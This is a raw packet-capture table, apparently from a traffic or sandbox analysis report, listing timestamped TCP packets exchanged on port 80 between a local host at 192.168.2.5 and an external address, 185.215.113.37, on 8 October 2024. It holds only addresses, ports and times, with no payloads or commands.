Oct 8, 2024 11:18:31.564385891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564393044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564439058 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564439058 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564526081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564532042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564544916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564548969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564554930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564560890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564572096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564593077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564610958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564623117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564630032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564640045 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564677000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564706087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564713001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564724922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564728975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564788103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564799070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564805031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564817905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564830065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564836025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564840078 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564841032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.564908981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.564908981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697223902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697263002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697292089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697321892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697330952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697338104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697345018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697344065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697361946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697370052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697376966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697382927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697386026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697391033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697398901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697405100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697407007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697434902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697434902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697441101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697451115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697460890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697469950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697484016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697490931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697499037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697505951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697511911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697520018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697520971 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697526932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697535038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697541952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697546959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697550058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697559118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697566986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697587013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697587013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697594881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697603941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697611094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697618008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697626114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697640896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697645903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697647095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697660923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697680950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697689056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697702885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697710037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697719097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697729111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697756052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697770119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697781086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697788954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697803974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697810888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697818041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697844028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697846889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697865009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697866917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697866917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697873116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697880983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697889090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697896957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697916985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697932005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697932005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.697936058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.697945118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698000908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.698014975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698024035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698039055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698079109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698079109 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.698079109 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.698087931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698096991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698153973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.698153973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.698175907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698184967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698191881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698200941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698208094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698214054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.698255062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.698255062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.829838037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.829849005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.829881907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.829890013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.829905033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.829924107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.829993010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830050945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830068111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830082893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830090046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830104113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830112934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830126047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830133915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830141068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830141068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830156088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830163956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830173016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830173016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830197096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830202103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830216885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830224037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830231905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830238104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830252886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830252886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830260992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830277920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830285072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830297947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830305099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830307961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830307961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830343008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830343008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830375910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830384016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830406904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830414057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830430984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830430984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830455065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830491066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830504894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830512047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830524921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830524921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830554008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830727100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830734015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830749035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830756903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830771923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830779076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830785990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830797911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830805063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830811024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830817938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830817938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830826044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830832958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830832958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830847979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830852985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830863953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830868959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830883980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830883980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830907106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830914021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830936909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830959082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.830981970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830991030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.830997944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831006050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831020117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831059933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831059933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831079960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831088066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831103086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831104040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831110954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831119061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831132889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831137896 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831142902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831151962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831161976 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831253052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831262112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831275940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831283092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831296921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831304073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831304073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831304073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831319094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831326962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831336021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831360102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831372976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831381083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831402063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831415892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831422091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831422091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831446886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831471920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831476927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831476927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831481934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831490040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831496954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831502914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831511021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831517935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831523895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831528902 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831532001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831541061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831542015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831551075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831557989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831566095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831573009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831577063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831577063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831581116 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831587076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831617117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831624985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831635952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831635952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831636906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831676006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831682920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831690073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831690073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831712008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831718922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831731081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831751108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831754923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831758976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831857920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831890106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831890106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.831901073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831908941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.831924915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832031012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832047939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832056046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832071066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832077026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832092047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832112074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832134962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832134962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832154036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832163095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832170963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832179070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832185984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832210064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832236052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832243919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832250118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832273960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832282066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832297087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832333088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832333088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.832359076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.832715034 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962573051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962627888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962650061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962660074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962666988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962666988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962687969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962717056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962723970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962724924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962724924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962758064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962766886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962773085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962774038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962781906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962819099 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962856054 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962862968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962878942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962887049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962892056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962894917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962903976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:31.962915897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962924004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:31.962941885 CEST	49706	80	192.168.2.5	185.215.113.37
